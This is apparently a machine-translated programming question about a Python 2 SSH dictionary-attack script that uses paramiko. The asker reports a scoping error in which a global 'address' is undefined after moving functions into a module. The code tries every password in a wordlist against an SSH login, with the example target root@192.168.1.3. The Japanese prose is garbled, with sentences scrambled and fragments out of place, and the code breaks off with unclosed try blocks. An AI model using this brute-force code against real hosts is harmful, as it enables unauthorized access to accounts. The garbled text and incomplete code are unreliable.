プロジェクトの辞書攻撃スクリプトを書き続けます。Pythonファイルを分離する関数を分離してグローバル変数が定義されていません
私のスクリプトは、SSHで実際に辞書攻撃を行う2つの機能を呼び出します。最初に私はmain()関数
def get_args():
# stuff for parsing blah blah
global service, username, wordlist, address, port, delay
service = args.service
username = args.username
wordlist = args.password
address = args.address
port = args.port
delay = args.delay
return service, username, wordlist, address
def main():
service, username, wordlist, address = get_args()
# output and stuff
# SSH bruteforce
if service == 'ssh':
if address is None:
print R + "[!] You need to provide a SSH address for cracking! [!]" + W
else:
print C + "[*] Address: %s" % address + W
sleep(0.5)
global port
if port is None:
print O + "[?] Port not set. Automatically set to 22 for you [?]" + W
port = 22
print C + "[*] Port: %s " % port + W
sleep(1)
print P + "[*] Starting dictionary attack! [*]" + W
print "Using %s seconds of delay. Default is 1 second" % delay
sshBruteforce(address, username, wordlist)
ラインでsshBruteforce(address, username, wordlist)
参照私はインポート私はモジュールとして別々のファイルに含める機能を、以下、main.py
に機能)(私のget_argsに私のグローバル変数を宣言しましたmodule1.pyインサイド
from module1 import *
:問題が発生した場所
# ssh_connect()
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("filename.log")
try:
ssh.connect(address, port=port, username=username, password=password)
def sshBruteforce(address, username, wordlist):
wordlist = open(wordlist, 'r')
for i in wordlist.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
# actual bruteforcing here. The above line references the ssh_connect()
# function, which is where the problem actual occurs
ライン、ssh.connect(address, port=port, username=username, password=password)
です。しかし
python main.py -u root -w wordlist.txt -s ssh -p 22 -a 192.168.1.3
これは、変数username
内の文字列"root"
を格納し、そしてなど、main.py
プログラムはsshBruteforce()関数を実行した後、これが発生します:のは、私はそうのようなスクリプトを実行するとしましょう
global name 'address' is not defined
を
これは、ssh_connect()関数内で、ssh.connect(address, port=port, username=username, password=password)
という行で、変数address
には何も格納されていないことを意味します。私はなぜこれが起こっているのか分かりません。
from __main__ import *
を含めてmodule1.py
には何も変わりません。私はこれらの質問の多くを見てきましたが、私の状況に似ているものはありません。